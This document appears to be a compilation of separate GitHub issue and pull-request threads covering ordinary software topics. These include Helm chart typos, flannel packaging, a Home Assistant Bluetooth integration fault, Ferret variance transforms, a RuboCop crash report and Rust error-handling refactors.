[X] I have searched the existing feature requests

Describe the feature you would like to request
I would like to add table of contents sections to readme file for better readability and user experience.
I would like to work on it.
Please assign this issue to me under gssoc-ext and hacktoberfest.
Confirmation

[X] I have read the Bitbox Contributing Guidelines
[X] I am a GSSOC-EXT contributor
[X] I am a HACKTOBERFEST contributor
[X] I have starred the Bitbox repository
[X] I would like to help implement this feature

Hyy @T-Fathima, I'm assigning this issue to you.


adds support for --renew-anon-volumes

#475
See  https://docs.docker.com/engine/reference/commandline/compose_up/#options

Thank you for the pull request! If you have the time, could you add a simple unit test?


Fix a few typeos in stable/prometheus-operator/README.md

@gianrubio @vsliouniaev @gianrubio @vsliouniaev FYI
Signed-off-by: Matt Pursley<EMAIL_ADDRESS>What this PR does / why we need it:
Just fixes a few typeos in the readme.
Which issue this PR fixes
N/A
Special notes for your reviewer:
N/A
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[x] DCO signed
[x] Chart Version bumped
[x] Variables are documented in the README.md

/assign @vsliouniaev
btw, circleci failed because the version was not bumped.. but I'm not sure if it's worth bumping the version for this small update to stable/prometheus-operator/README.md

Thanks @mpursley!
Could you please fix the CI by bumping tye chart version?

Thanks @mpursley!
Could you please fix the CI by bumping tye chart version?

Thanks @mpursley!
Could you please fix the CI by bumping tye chart version?

Ok, I bumped to "version: 4.3.4" in "stable/prometheus-operator/Chart.yaml" in a new commit.

/lgtm


Add support to accepting arbitrary network ID

Currently the libnetwork function NewNetwork does not allow
caller to pass a network ID and it is always generated internally.
This is sufficient for engine use. But it doesn't satisfy the needs
of libnetwork being used as an independent library in programs other
than the engine. This enhancement is one of the many needed to
facilitate a generic libnetwork.
Signed-off-by: Jana Radhakrishnan<EMAIL_ADDRESS>

LGTM


replace alpha (....) with beta in the banner

rm
alpha (v.0.1.0), in development
and substitute it with
beta
in the banner

fixed with new versioning ([major releases].[major fixes/new features].minor fixes)


Flannel 0.5.3 not in yum anymore

Hello,
today I was deploying some machines (CentOS 7) that should be using flannel 0.5.3, but suddenly yum tells me that the package is not available, and if if ask for a list of flannel packages I only can see the 0.5.5. Is this happening to any of you or it could be some problem with my setup?
It would be nice to have that old package while I move my scripts to be able to use the 0.5.5
Thanks in advance for the help.

@steveeJ Is this something you could help with? It would be great to get v0.7.0 in yum too, but I have no idea where to start?

Also ping @jeremyeder would you be able to help?

Actually closing in favor of #346

@tomdee what is a good email address for you, I'd like to connect and try to smooth out this process.  Note that I'm actually not involved in the process at all -- just want to help.

@kanor1306 centos7.3 has 0.5.5. centos7.2 has 0.5.3.  you can grab 0.5.3 from here:  http://mirror.linux.duke.edu/pub/centos/7.2.1511/extras/x86_64/Packages/
As a side note, I see that fedora rawhide has 0.6.2. @ingvagabund do you still own the flannel package?

Thanks @jeremyeder! good to know it!

I still do. Already updating flannel in Fedora rawhide. It just takes time to update all its deps and generate new spec file.

Question remains how to update it in CentOS.

Awesome, thanks for the replies and help. I would love to get v0.7.0 in Centos and Fedora and to nderstand the way way to keep those packages up to date. @jeremyeder you can get me at<EMAIL_ADDRESS>if you want to discuss further

flannel-0.7.0 in f25 updates-testing: https://bodhi.fedoraproject.org/updates/FEDORA-2017-013e53830f

Excellent, thanks @ingvagabund!


⚠ TorrentLeech has degraded performance

In ba9b294, TorrentLeech ($TL) experienced degraded performance:

HTTP code: 200
Response time: 6090 ms

Resolved: TorrentLeech performance has improved in e640c23.


Update Atom.php

Break from switch-case to retry redirected URI regarding deletion.
This issue arised during switching from the zendframework/zendframework1 to your fork in order to update to a newer PHP version.
One of our features relies on the Feed-component of zend, where this line creates a PHP warning.
By logic, the switch case tries to act on a 3xx-response by taking the given "Location" header's new URI and then re-running the logic to see how the deletion works out with the new, redirected URI. However, unfortunately, the "continue" seems to be with regards to the outer "do while(true)" loop, but doesn't have the intended effect. From the, from the warning suggested, "break" or "continue 2" options, "break" seems more accurately represent the intended logic.
Zend Framework 1 reaches its End of Life (EOL) and is no longer maintained.
No Pull Requests will be accepted.
https://framework.zend.com/blog/2016-06-28-zf1-eol.html

Thanks for the PR, I'll make a new release with your change in it so you can use this through composer properly


pp is support netty?

pp is support netty?  but my netty program can't be monitored。 Please give me a demo.
https://github.com/lopiter/pinpoint/tree/add-kafka-plugin/plugins

@god8816
We do not  run demos.
Therefore, there is no url to forward you want.
netty is supported by the codec.
If you use an unsupported codec, it will not be traced.
Please check the issue. (#3211)
thanks.


add monitoring for dedicated-admin service

add monitoring for dedicated-admin service

@drewandersonnz has +1 on #4001


Device paired but integration not connecting

Hi!
I'm running Home Assistant OS in an ESXi virtual machine and I have a bluetooth USB dongle attached to it. I followed the instructions and managed to pair the thermostat successfully.
However, when trying to add the integration with the MAC address and the default parameters, it always fails saying that the device cannot be found. I tried unchecking the option to try and discover the device when adding, which makes it so that the integration is added, but then it never connects to the device.
The HA logs show this error:

Could not connect to device 94:0D:2D:47:4D:60: Could not find bluetooth device for the address 94:0D:2D:47:4D:60. Please follow the instructions on device pairing.

The thermostat card just says "unavailable".
When running bluetoothctl in the terminal, I can see that the device is paired. I can even manually connect to it via the terminal.

Am I doing something wrong? For the integration, I git cloned the repo in the custom_components folder.

Hi!
It seems the bluetooth device cannot be found. Could you try again using
lowercase for the mac address? I think I already handled this, but just in
case.. What version of HA are you using? There could also be related to
some incompatibility with bleak - the bluetooth library.
On Thu, 15 Sept 2022 at 09:09, Léopold Baillard @.***>
wrote:

Hi!
I'm running Home Assistant OS in an ESXi virtual machine and I have a
bluetooth USB dongle attached to it. I followed the instructions and
managed to pair the thermostat successfully.
However, when trying to add the integration with the MAC address and the
default parameters, it always fails saying that the device cannot be found.
I tried unchecking the option to try and discover the device when adding,
which makes it so that the integration is added, but then it never connects
to the device.
The HA logs show this error:
Could not connect to device 94:0D:2D:47:4D:60: Could not find bluetooth
device for the address 94:0D:2D:47:4D:60. Please follow the instructions on
device pairing.
The thermostat card just says "unavailable".
Am I doing something wrong? For the integration, I git cloned the repo in
the custom_components folder.
—
Reply to this email directly, view it on GitHub
https://github.com/mduran80/daikin_madoka/issues/19, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFK3CT35BRBNMAZCSISRF63V6LDTLANCNFSM6AAAAAAQNCVOLQ
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Thanks for your quick answer!
Here are my HA versions:

Home Assistant 2022.9.4
Supervisor 2022.08.6
Operating System 8.5

I just tried removing the integration and adding it back with the MAC in lowercase, but I get the same error.

Thanks for your quick answer!
Here are my HA versions:

Home Assistant 2022.9.4
Supervisor 2022.08.6
Operating System 8.5

I just tried removing the integration and adding it back with the MAC in lowercase, but I get the same error.

Broken after HA Core 8.5. Looks like a duplicate of #18

I just updated my HA and the integration is working as expected. However, take into account that HA updates may require to repeat all the bluetoothctl process so the info in the D-BUS is updated.
Please connect via shell and remove the device:

Run bluetoothctl
Type remove
If the integration is running in HA, the bluetootctl client should immediately show the connection confirmation request with the pair code, just accept it and rush to the thermostat to accept it too.
The integration should work and show as available

This worked after I unpaired one of my Madoka thermostats and re-paired it, and rebooted HA. Thanks

Possibly related to the HA version, I will have a look at it.
El El jue, 15 sept 2022 a las 9:37, Léopold Baillard <
@.***> escribió:

Thanks for your quick answer!
Here are my HA versions:
Home Assistant 2022.9.4
Supervisor 2022.08.6
Operating System 8.5
I just tried removing the integration and adding it back with the MAC in
lowercase, but I get the same error.
—
Reply to this email directly, view it on GitHub
https://github.com/mduran80/daikin_madoka/issues/19#issuecomment-1247700603,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFK3CT7TXIY47CBBSCY7C23V6LG2FANCNFSM6AAAAAAQNCVOLQ
.
You are receiving this because you commented.Message ID:
@.***>


FXAAEffect is not exported in types

Description of the bug
Although defined and re-exported here, the FXAAEffect class is not exported in the typescript types.
See https://github.com/pmndrs/postprocessing/blob/main/types/postprocessing.d.ts
Library versions used

Three: 0.141.0
Post Processing: 6.28.1

Updated types in<EMAIL_ADDRESS>Let me know if something's still broken.


Send back page questions when creating a brief response

Similar to how is done for creating a brief.
We will therefore be able to validate certain questions when creating a brief response (rather than having to validate all of them or not validating any of them).

👍 self thumbs up as Tom is interviewing but says is good to go after his comment was addressed


tableau.TableauEventType.FilterChanged doesn't seem to work on TS or TO

Hi guys,
I added a Tableau Event Type: "tableau.TableauEventType.FilterChanged" in my code. It is working fine on Desktop but not on Server or Online. Lets me know if I missed something...
Thanks,

It was my code...


Fix flags

Unexpected behaviour when updating. Flags are not set properly.

Flags aren't saved on disk in offline mode
Flags are unreliable after an update (for instance, the first email opened after an update is not flagged as unseen


searching is selecting the context next to the exact word

Here, i have attached the PDF, that PDF document contains "Nudi" as an embedded font. When i searching the particular word (that in Nudi font), the search result selecting the word that context next to the exact word.
Link to PDF file (or attach file here):
sample_pdf.zip
Configuration:

Web browser and its version: Mozilla 45.0.2
Operating system and its version: Windows 7
PDF.js version: 1.4.20-disc

What is the expected behavior? (add screenshot)

Fixed by #12855

Fixed by #12855


Bump ordered-float to 2.0

Hey! We're thinking of using arrow2+parquet2 at https://github.com/MaterializeInc/materialize. To keep compiles speedy, we try to keep to a single version of each crate in our dep graph. We're already using 0.2 of ordered-float and parquet2 brings 0.1 in transitively through this.
I wasn't quite sure how to test this (or which branch to PR against). I see it publicly re-exported in mod thrift and then a use for that re-export in parquet_format.rs, but the latter doesn't seem to use OrderedFloat. I also don't see it used in parquet2. Everything seems to compile fine with this patch.
Thanks!

Sorry, this spliped under my radar :( It looks great!

I just notice that we do not use ordered float, so will just remove the dependency. One less to go.

No worries at all, I can imagine this fork isn't something you touch a lot. Thanks for the great work on parquet2 and arrow2!


Check if key/property exists in array/object

Check if key/property exists in array/object
Fix indentation

Closes #216

Thank @mCassy - sorry it took so long to merge.


No "Import Button" at Files tab

OS: macOS 12
Version of IPFS Desktop 0.18.1

Describe the bug
It says No files here yet! Add files to your local IPFS node by clicking the **Import** button above. But there is no import button.
We should wait approx ~5 min to find the files to be able to see "Import" button.
To Reproduce
Steps to reproduce the behavior:

Go to "Files" tab
See the warning

Expected behavior
There should be an "Import button"?
Screenshots

@Dentrax

We should wait approx ~5 min to find the files to be able to see "Import" button.

Mind rephrasing this? Do you mean that the button appears correctly after a long (5 minutes) wait?
Do you have a lot of files, or is this a clean install?
Are you using local node, or did anything custom to talk to remote one over HTTP?

Do you mean that the button appears correctly after a long (5 minutes) wait?

Approximately, yes. I had to wait a few minutes to see that button.

Do you have a lot of files

Fresh installed. Cleaned ~/.ipfs folder.

Did anything custom to talk to remote one over HTTP?

Remote talk with Pinata Gateway.

@Dentrax Pinta started heavy rate-limiting nand we improved the way remote pins are handled in recent release – are you able to update to ipfs-desktop >0.20.3 and see if situation improved?


What About Installtion Issue ??

I Am Getting This Warning While Installing Or Clone Repository
npm i -g @adonisjs/cli
npm WARN deprecated<EMAIL_ADDRESS>Please upgrade to kleur@3 or migrate to 'ansi-c olors' if you prefer the old syntax. Visit  ases/tag/v3.0.0> for migration path(s).                                         npm WARN deprecated<EMAIL_ADDRESS>Critical bug fixed in v3.0.1, please upgrad e to the latest version.
After Upgrading this packages Still It's Not Working...

The issue is reported in the wrong repo and must be reported in @adonisjs/cli. Also please note that any depreciations are not deal breakers with the CLI tools.


Implement filtering of packages, services and functions by type

Once users are validated, we should provide consumers of this information with a richer data about packages, services and functions, namely:

those that are public;
those the user is the owner;
those the user has bought a licence.

The GK can return a JSON like in (example for packages, but it will be similar for services and functions):
{ 'public-packages' : [...], 'owned-packages' : [...], 'licenced-packages' : [...]}

@srodriguezOPT, @mzacharioudakis, this was what we've talked about in one of the Paris meeting coffee breaks. Do you agree with this suggestion? When do you think we could implement this?

Hi, @srodriguezOPT, @mzacharioudakis
Have you had the chance to look at this?

hi @jbonnet , @mzacharioudakis
I've realised right now.
Are we talking about something like this?
GET /api/v2/packages/:license_type (public/private)
GET /api/v2/packages/:owner
GET /api/v2/services/:license_type (public/private)
GET /api/v2/services/:owner
GET /api/v2/functions/:license_type (public/private)
GET /api/v2/functions/:owner
GET /api/v2/licenses/services/:user_id
GET /api/v2/licenses/functions/:user_id

@srodriguezOPT
So, what we have agreed by email: we'll have 2 lists of services,

‘instantiatable’ (public or with licence acquired or owned)
‘must buy’

Closed by PR #748


App crash, import issue?

Install valkyrie for the first time. Import MoM. But it looks like import is not working properly. All downloaded scenarios freez on load screen in valkyrie. When i try to create new scenario, all elements have no textures in "select image" popup. On add "new tile" btn app is crashing ...  Issue #602 have some kind the same problem with import.

What OS? What Valkyrie version?
#602 discusses missing translations, how does that connect with your issues?

Win 7, Latest ver 1.4.2. How to check import successed? I looked into import dir, there are a lot of data, but no tiles dds files, and app crushes on adding tile btn.

Also I tried it on my other pc, have an error 'Can't find MoM Files, install via Steam', reinstall game, but it won't help. ):

Reinstall the game & app, import successed. Problem solved.

Odd, I dont' know what the issue was.


refactor: anyhow usage

Changes

opt.ok_or_else(|| anyhow::anyhow!("foo")) -> opt.context("foo")
opt.ok_or_else(|| anyhow::anyhow!("foo {}", bar)) -> opt.with_context(||format!("foo {}", bar))
#[test] fn foo() -> anyhow::Result<()> -> #[test] fn foo()
Rationalise anyhow imports

Wait, still got some anyhow::Result in tests.

 I'm not sure if this should be cleaned up or not, but simply searching for -> Result gives enough evidence of the latter.

 I'm not sure if this should be cleaned up or not, but simply searching for -> Result gives enough evidence of the latter.

Ah, I only searched in src/ :)

Seems good to me, just want to understand why there is a bunch of tests that retains anyhow::Result as return type:

https://github.com/ChainSafe/forest/blob/2c69e5c0f4d22f69e7dad1771f5c129bb284bd48/tests/import_snapshot_tests.rs
https://github.com/ChainSafe/forest/blob/2c69e5c0f4d22f69e7dad1771f5c129bb284bd48/tests/keystore_tests.rs
https://github.com/ChainSafe/forest/blob/2c69e5c0f4d22f69e7dad1771f5c129bb284bd48/tests/config.rs

There is also a bunch of places where we have Result<(), anyhow::Error> as opposed to anyhow::Result<()>. I'm not sure if this should be cleaned up or not, but simply searching for -> Result gives enough evidence of the latter.

Ah, I only searched in src/ :)

Made a mistake in my comment about Result<(), anyhow::Error>. latter -> former. As in I have found some occurrences.
`

I think this is still missing the refactoring of cases where we have -> Result<..., anyhow::Error>. We should be using anyhow::Result<...> instead.
Try searching for -> Result to find occurrences.

How do we prevent this in the future? Reviewers should focus on the functional aspects of PRs, not things that should be basically lints.

How do we prevent this in the future? Reviewers should focus on the functional aspects of PRs, not things that should be basically lints.

I've written a semgrep tool that catches this - that's why I missed the occurences in tests/ - I was just looking in src/
We can check that in later

How do we prevent this in the future? Reviewers should focus on the functional aspects of PRs, not things that should be basically lints.

I've written a semgrep tool that catches this - that's why I missed the occurences in tests/ - I was just looking in src/
We can check that in later

If we don't forget it and actually plan to do it, then sure.


rename files to follow yaml file naming conventions

cc @Azure/azure-sdk-eng

Based on the name of the file and the guidelines does that mean you will be naming the pipelines <repo> - tests - <service>? I know @mikeharder was also wanting to shorting the name for our primary repos to just be the language name so something like js - tests - storage, we should consider doing that as well.

js - tests - storage and js - client don't fully communicate what they're doing by their names alone. If we want to match the name to the pipeline perhaps the filenames should be all-tests.yml and client-tests.yml so we end up with js - all-tests - storage and js - client-tests

I personally think just tests is probably enough once we teach people that means running all tests, but I'm OK either way. My main goal is getting consistency.

I don't have strongly held opinions here either. To that end let's use the name tests as the filename and pipeline name. This keeps the pipeline names shorter.
Note: there was a force push today to rebase these changes on master.

cc: @mitchdenny

Since this issue was opened we've introduced template refactoring. This PR now includes refactored tests.yml files that incorporate various templates depending on the test scenario.

@mitchdenny - I've done a few things with the archetype-sdk- template files beyond what we've initially used them for. Do you have thoughts on their naming/placement?
Perhaps the best example of this is archetype-sdk-tests-storage.yml that lives in the sdk\storage folder.

The only think I'm thinking is that we have both a custom tests.yml file with a bunch of things we are injecting and also a bunch of service specific job templates. I think we probably need to acknowledge that if we have a pipeline per service that there will be a bunch of custom config in the entrypoint YAML file. If that is the case then you might be able to simplify things a bit by injecting your steps from the entrypoint YAML.
Don't want to block this but I think its something to think about for the future as we look at the overall structure of the files.


PARTNER_CENTER_HTTP_EXCEPTION

Hello,
@Ben-Carpenter
Please pardon me if I am asking my question at the wrong place, and if there is a forum to discuss please let me know.
Issue:

Create Product
* Create JSON
* Submit
Did not find product ID
SurfaceDevCenterManager v<IP_ADDRESS>
Create Option

============================================================
SurfaceDevCenterManager Exception Log
Option:          CreateOption
Section:         NewProduct
Type:            System.OperationCanceledException
Message:         The operation was canceled.
Inner Exception:
Correlation Id:  75e55278-3819-49dd-8dbe-d87ffe8ed34b
Correlation Id: 75e55278-3819-49dd-8dbe-d87ffe8ed34b
Return: -1000 (PARTNER_CENTER_HTTP_EXCEPTION)
-1
SDCM Version: SurfaceDevCenterManager v<IP_ADDRESS>
I am not able to identify what went wrong in this process. The error code -1000 does not take me to any solution that I should follow and correct myself. Is this something to do with the client key that I have added(It has been 6 months) ?

Hello @hosamanisachin, it looks like the exception was caught in the create product section.
There are a few things that might cause this to happen. Please check the following.
(Forgive the following, I assume nothing, so I will cover the steps).

[ ] You have registered your AAD client app in Partner Center. Complete the prerequisites for using the Microsoft Hardware API
[ ] Your client app has the correct permissions (Driver Submitter). Assigning the appropriate Hardware roles to your Microsoft Entra Identity application
[ ] Your client credentials are correct and valid (tenantId, clientId, client key (or secret)).
[ ] Check that you are getting a valid token used to make the API call. Obtain an Microsoft Entra Identity access token
[ ] All properties in the authconfig.json are correct.
[ ] The output from either Scripts/Attestation.ps1 or Scripts/HLKx.ps1is correct.
[ ] You are submitting a cab file with the correct signatures.

If all items above are valid, and you have verified you are able to run other commands successfully then other issues might have occurred from the Partner Center API service.

Transient errors
The API service experienced interruptions (HTTP500)

If this is an internal question, please use the appropriate channels outlined by your team.

Hello,
@Ben-Carpenter
I had expired client secret. To which after renewing got it working.
Thank you very much for the above mentioned steps to follow for debugging.
I would please request you to keep this general debug steps to be followed for everyone.
Thank you.

Another point I would like to add is that, when I tried this from REST API(Using Postman utility). I was able to get a descriptive information of the key being expired.
"error": "invalid_client",
"error_description": "AADSTS7000222: The provided client secret keys for app 'abcd' are expired. Visit the Azure portal to create new keys for your app: https://aka.ms/NewClientSecret, or consider using certificate credentials for added security: https://aka.ms/certCreds.\r\nTrace ID: xyz\r\nCorrelation ID: 15dc7d79-d6e0-4408-aac7-fe3fca50c74b\r\nTimestamp: BACKTOTHEFUTURE",
@Ben-Carpenter
Is there any chance we can capture this description and get it printed to the console?

@hosamanisachin
Yes, we'll look at DevCenterErrorDetailsDump and see why the additional details were not provided.


check MODVAR and VAR: same computation?

Reported by Ansley B Manke on 25 Sep 2003 16:34 UTC
(Wittenberg, 25-sep-2003)
There seems to be some inconsistency between the Ferret "variable
transform" @VAR and the "regridding transform" @MODVAR, both of which
purport to compute the sample variance.  Given N elements, @MODVAR
correctly divides the sum-of-squares by N-1, the number of degrees of
freedom.  But @VAR divides by N, giving an underestimate of the variance
for small N.
yes? def ax/x=1:1:1/modulo xax
yes? let a = {0,2}
yes? let a2 = (a-a[Here @MODVAR gives the right answer for the variance.
yes? list agx=xax@modvar^2
!), a2[Column  1: AG=1 delta on X@MODVAR,X=1 is Variance of {0,2} (regrid: 1 delta
on
X@MODVAR)
Column  2: EX#2 is A2[             A   EX#2
I / *:     2.000  2.000
! But @VAR gives a low-biased estimate.
yes? list ai=@var, a2[            X: 0.5 to 2.5
Column  1: AX=@VAR is Variance of {0,2}
Column  2: EX#2 is A2[I=@SUM]/A[I=@NGD]
A   EX#2
I / *:     1.000  1.000
Are there any wishes/plans to make these consistent?  Preferably by making
@VAR divide by N-1 instead of N?
Migrated-From: http://dunkel.pmel.noaa.gov/trac/ferret/ticket/632

Comment by<EMAIL_ADDRESS>on 10 Nov 2003 17:41 UTC
Resolve this bug, and put a new item in Ferret tasks for a new
DVAR, and perhaps other transormations:
Comments from Steve Hankin, and then From Andrew Wittenberg:
The Ferret documentation should reflect that @VAR and @MODVAR are different
sorts of calculations.  @VAR regards the variable as a continuous function
and computed a "weighted variance" --  I suppose it is actually the "second
moment".  It is designed to be consistent with @AVE.  It weighs the influence
of grid cells according to their sizes -- to approximate
INTEGRAL[/ INTEGRAL(X)dx.
The documentation discusses the N/(N-1) correction factor.  (The integral
value represents the limiting case of N going to infinity.)
By contrast @MODVAR is a discrete, finite calculation that assumes that all
repetitions of the modulo cycle are identical in character -- allowing for
unequal grid cells within the modulo cycle, but requiring consistency between
cycles.  No cell weighting is involved.  It does include the N/(N-1) correction.
To achieve the discrete/finite variance calculation you can use @SUM and @NGD
directly. Similarly if you want the arithmetic mean instead of the average
(I am always a little uncomfortable with those terms.)
There is indeed the possibility of confusion among these subtleties, and your
input on how to minimize it is welcome.  In my assessment the ambiguity arises
as soon as your coordinate model permits unequal cell sizes.  It becomes
unclear if the view of the data is continuous or discrete.   We might improve
the clarity somewhat by adding a new transformation @DVAR (discrete variance)
-- figuring that when the user sees these two transformations side-by-side
he will have to think about this subtlety.  Other ideas?
From Wittenberg:

@VAR regards the variable as a continuous function and computed a
"weighted variance" -- I suppose it is actually the "second moment".
It is designed to be consistent with @AVE.  It weighs the influence of
grid cells according to their sizes -- to approximate
INTEGRAL(var-AVE(var))2dx / INTEGRAL(X)dx.
In my assessment the ambiguity arises as soon as your coordinate model
permits unequal cell sizes. It becomes unclear if the view of the data
is continuous or discrete.

You hit it right on the head.  Thinking about this some more, I guess there
are actually three meanings for "variance":

Signal variance, the mean square deviation of a continuous signal f(t):

sigvar(t) = integral (f(t)-fm)2 dt  / integral t dt
This seems to be what @VAR does, it interprets the data as a continuous
signal in the manner of SHADE or PLOT/LINE/STEP=CONNECTED.

Population variance (sigma2), the expected square deviation from the
expected value:

sigma2 = E( (f-E(f))2 )
where E(f) = integral f p(f) df is the expected value of f, and p(f) is the
probability of event f.  A "population" is a set of objects with collective
attributes, like "averages over 10day intervals", or "monthly averages",
or even "averages over random time intervals".  Here the "areas" enter
into the definition of the population, not the definition of the variance.
The true parameters (mean & variance) of a population are typically unknown
or unknowable; we can only estimate them using the data we have.  So that
brings us to...

Sample variance (s2), which is a statistic computed from the available
data, a discrete sample of N members.  For s2 to be an unbiased estimate
of sigma2, we define
s2 = sum(f-sum(f)/N)2 / (N-1)
= (Nsum(f2) - sum(f)2) / (N(N-1))

(The second definition is more efficient to compute.)  Unlike the signal
variance, this interprets the data as discrete samples, similar to
PLOT/SYM.

We might improve the clarity somewhat by adding a new transformation
@DVAR (discrete variance) -- figuring that when the user sees these two
transformations side-by-side he will have to think about this subtlety.

That's a great idea.  It would take care of the sample variance, and still
allow users to compute the signal variance using @VAR.
note -- it'd be helpful to have index-space analogues for all
transformations.  A natural way to do it would be to just have "x=@ave,
x=@var, x=@fln, x=@iin ..." work in physical space using the continuous
interpretation of the data, while "i=@ave, i=@var, i=@fln, i=@iin ..."
would work in index space, with the discrete interpretation.  One could
even fold (@cia, @cib) into (@cda, @cdb) this way.

The documentation discusses the N/(N-1) correction factor.  (The
integral value represents the limiting case of N going to infinity.)

A heads-up -- I wasn't able to find this just now in the documentation for
@VAR.  May want to add something here, and/or cross link with the "var_n"
GO-script:
http://ferret.wrc.noaa.gov/Ferret/Documentation/Users_Guide/current/Chapter1_Introduction.htm#_VPINDEXENTRY_66
And found an unrelated typo in browsing through the transformations in the
UG index -- under @FLN transformation, it says "linear integration"
instead of "linear interpolation".
Andrew

Comment by ansley.b.manke on 4 Nov 2008 19:50 UTC
Adding Andrew to the CC list where he is mentioned in the ticket comments.


Add option to specify exact time when creating a task

Is your feature request related to a problem? Please describe.
I'd like to specify exact time when creating a task. Currently only the date can be specified.
Describe the solution you'd like
When creating a task through the dialog, there should be an optional field for setting an exact time.
Additionally, it would be cool if we could use Todoist's Quick Add feature to just type the date/time directly in the task name and it would parse it and set correct values.
Describe alternatives you've considered
Currently I add a task through Obsidian, but I have to open the task in Todoist to adjust the time.

I would also love this. Any chance?

I agree this would absolutely be a valuable feature. I can't say when I'll get around to it, but its on my radar :wink:

up, add this please x)

+1 I would love to use this function

Hey all, I've rewritten the task creation modal in the latest release and added support for setting the due date time!


Schema Manager

PR Info

Resolve #12
Required by SeaQL/sea-orm#335
Depends on

SeaQL/sea-query#193
SeaQL/sea-query#202

I ignored the schema iden in TableRef::SchemaTable for MySQL, so the FROM below will now generate tables instead of information_schema.tables. It cause this error.
https://github.com/SeaQL/sea-schema/blob/16194d14b068eed381689f0337948d0f23bf678a/src/mysql/query/table.rs#L52-L81

ooops. it does not seem to work :(

ooops. it does not seem to work :(

PgInterval git renamed

Try cherrypick https://github.com/SeaQL/sea-schema/pull/37/commits/0929661128437824cab4c49fb1af44488702cd41

I think we got a very problematic dependency tree here. As a rule-of-thumb, sea-schema should not directly depends on sea-orm

Okay so the culprit is that sea-orm and sea-schema has a dependency on sea-query, currently stuck in a deadlock, there is no way to upgrade one side without breaking the other side.
We definitely have to re-architect this before releasing.

Merge to master for now. Note that sea-query is still stuck at 0.20, and we definitely want to upgrade to 0.21.


Playlist folders not available in playlists list.

Describe the bug
A clear and concise description of what the bug is.
The playlists list does not show any playlist folders the user has, and instead just shows all playlists regardless of how they're organized.

ISSUE TYPE

Bug Report

Steps to reproduce

Have playlist folders on Spotify.
Go to the Music Time 'My Playlists' list in VSC.
See lack of playlist folders.

Expected behavior
A clear and concise description of what you expected to happen.
User's playlist folders are visible, with playlists organized appropriately.

ACTUAL RESULTS

User's playlist folders are not available, instead just showing the playlists alongside the rest of the user's playlists.

Desktop (please complete the following information):

OS: Windows 10
Plugin version: Music Time v2.0.9

Additional context
Add any other context about the problem here.
Playlist folders is a lesser-known feature of Spotify, so I'm not even sure if this is possible info to get and display in these types of contexts, but figured it wouldn't hurt to bring up in the off-chance it is possible.

Thank you for the update on this and we apologize, but playlist folder visibility in the plugin is currently not supported as Spotify does not have an open API to provide this functionality. Spotify's developer guidelines currently states "Folders are not returned through the Web API, nor can be created using it". I will ask the team to update the README in regards to this limitation. Thank you.


Rails/Blank chokes on code which contains invokations of #present? without an explicit receiver

ActiveSupport Core Extensions define #blank? and #present? on every object, that means they can be called without an explicit receiver (e.g., inside an instance method definition).
The following snippet demonstrates the problem:
def on_send
  return if !present?
end

def on_if
  return unless present?
end

Expected behavior
Rubocop emits relevant warnings.
Actual behavior
Rubocop fails with the following backtrace:
For /private/tmp/blank: configuration from /Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/config/default.yml
Inheriting configuration from /Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/config/enabled.yml
Inheriting configuration from /Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/config/disabled.yml
Inspecting 1 file
Scanning /private/tmp/blank/blank.rb
An error occurred while Rails/Blank cop was inspecting /private/tmp/blank/blank.rb:2:12.
undefined method `source' for nil:NilClass
/Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/lib/rubocop/cop/rails/blank.rb:72:in `block in on_send'
/Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/lib/rubocop/cop/rails/blank.rb:61:in `not_present?'
/Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/lib/rubocop/cop/rails/blank.rb:69:in `on_send'
[... SNIP ...]
/Users/smaximov/.rbenv/versions/2.3.3/bin/rubocop:22:in `load'
/Users/smaximov/.rbenv/versions/2.3.3/bin/rubocop:22:in `<main>'
An error occurred while Rails/Blank cop was inspecting /private/tmp/blank/blank.rb:6:2.
undefined method `source' for nil:NilClass
/Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/lib/rubocop/cop/rails/blank.rb:99:in `block in on_if'
/Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/lib/rubocop/cop/rails/blank.rb:63:in `unless_present?'
/Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/lib/rubocop/cop/rails/blank.rb:93:in `on_if'
[... SNIP ...]
/Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/lib/rubocop
/Users/smaximov/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/rubocop-0.48.1/lib/rubocop
/Users/smaximov/.rbenv/versions/2.3.3/bin/rubocop:22:in `load'
/Users/smaximov/.rbenv/versions/2.3.3/bin/rubocop:22:in `<main>'
C

Offenses:

blank.rb:2:3: C: Style/NegatedIf: Favor unless over if for negative conditions.
  return if !present?
  ^^^^^^^^^^^^^^^^^^^

1 file inspected, 1 offense detected

2 errors occurred:
An error occurred while Rails/Blank cop was inspecting /private/tmp/blank/blank.rb:2:12.
An error occurred while Rails/Blank cop was inspecting /private/tmp/blank/blank.rb:6:2.
Errors are usually caused by RuboCop bugs.
Please, report your problems to RuboCop's issue tracker.
Mention the following information in the issue report:
0.48.1 (using Parser <IP_ADDRESS>, running on ruby 2.3.3 x86_64-darwin16)
Finished in 0.17423499998403713 seconds

Steps to reproduce the problem
Run rubocop --rails --debug on the snippet above.
Workaround
Handle nil values of receiver in RuboCop::Cop::Rails::Blank#on_send and RuboCop::Cop::Rails::Blank#on_if.
RuboCop version
$ rubocop -V
0.48.1 (using Parser <IP_ADDRESS>, running on ruby 2.3.3 x86_64-darwin16)

Apparently, Rails/Present is also subject to this issue.

//cc @rrosenblum

Thanks for the bug report. This should be a straight forward fix.


Refactor http client

Refactoring as per issue:
https://github.com/meilisearch/meilisearch-dotnet/issues/167
